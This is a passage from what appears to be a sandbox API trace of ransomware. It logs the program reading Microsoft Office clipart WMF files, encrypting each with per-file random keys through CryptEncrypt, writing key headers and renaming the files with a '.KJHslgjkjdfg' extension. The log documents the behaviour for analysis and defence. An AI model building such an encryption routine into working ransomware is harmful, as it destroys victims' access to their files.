lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.212] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.212] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1370, lpOverlapped=0x0) returned 1 [0194.213] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0194.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.213] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0194.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.213] SetEndOfFile (hFile=0x130) returned 1 [0194.215] GetProcessHeap () returned 0x2ef0000 [0194.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.215] GetProcessHeap () returned 0x2ef0000 [0194.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.kjhslgjkjdfg")) returned 1 [0194.216] CloseHandle (hObject=0x130) returned 1 [0194.216] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0194.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.217] GetProcessHeap () returned 0x2ef0000 [0194.217] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.217] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.217] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.220] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.220] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.220] GetProcessHeap () returned 0x2ef0000 [0194.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.220] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.220] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.221] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.221] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.221] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.221] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x31f4, lpOverlapped=0x0) returned 1 [0194.236] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3200, dwBufLen=0x3200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3200) returned 1 [0194.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.236] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3200, lpOverlapped=0x0) returned 1 [0194.236] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.236] SetEndOfFile (hFile=0x130) returned 1 [0194.238] GetProcessHeap () returned 0x2ef0000 [0194.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.238] GetProcessHeap () returned 0x2ef0000 [0194.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.kjhslgjkjdfg")) returned 1 [0194.239] CloseHandle (hObject=0x130) returned 1 [0194.240] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0194.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.240] GetProcessHeap () returned 0x2ef0000 [0194.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.240] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.241] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.241] GetProcessHeap () returned 0x2ef0000 [0194.241] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.241] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.241] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.245] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.246] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.246] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.246] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.246] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc20, lpOverlapped=0x0) returned 1 [0194.246] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc20, dwBufLen=0xc20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc20) returned 1 [0194.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.246] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc20, lpOverlapped=0x0) returned 1 [0194.246] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.246] SetEndOfFile (hFile=0x130) returned 1 [0194.247] GetProcessHeap () returned 0x2ef0000 [0194.247] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.247] GetProcessHeap () returned 0x2ef0000 [0194.247] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.kjhslgjkjdfg")) returned 1 [0194.248] CloseHandle (hObject=0x130) returned 1 [0194.248] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0194.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.249] GetProcessHeap () returned 0x2ef0000 [0194.249] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.249] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.250] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.250] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.250] GetProcessHeap () returned 0x2ef0000 [0194.250] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.250] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.250] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.251] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.251] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.251] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x634, lpOverlapped=0x0) returned 1 [0194.251] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640) returned 1 [0194.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.251] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x640, lpOverlapped=0x0) returned 1 [0194.252] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.252] SetEndOfFile (hFile=0x130) returned 1 [0194.254] GetProcessHeap () returned 0x2ef0000 [0194.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.254] GetProcessHeap () returned 0x2ef0000 [0194.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.kjhslgjkjdfg")) returned 1 [0194.255] CloseHandle (hObject=0x130) returned 1 [0194.255] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0194.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.255] GetProcessHeap () returned 0x2ef0000 [0194.255] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.255] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.255] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.257] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.258] GetProcessHeap () returned 0x2ef0000 [0194.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.258] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.258] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.258] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.258] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.259] ReadFile (in: hFile=0x130, 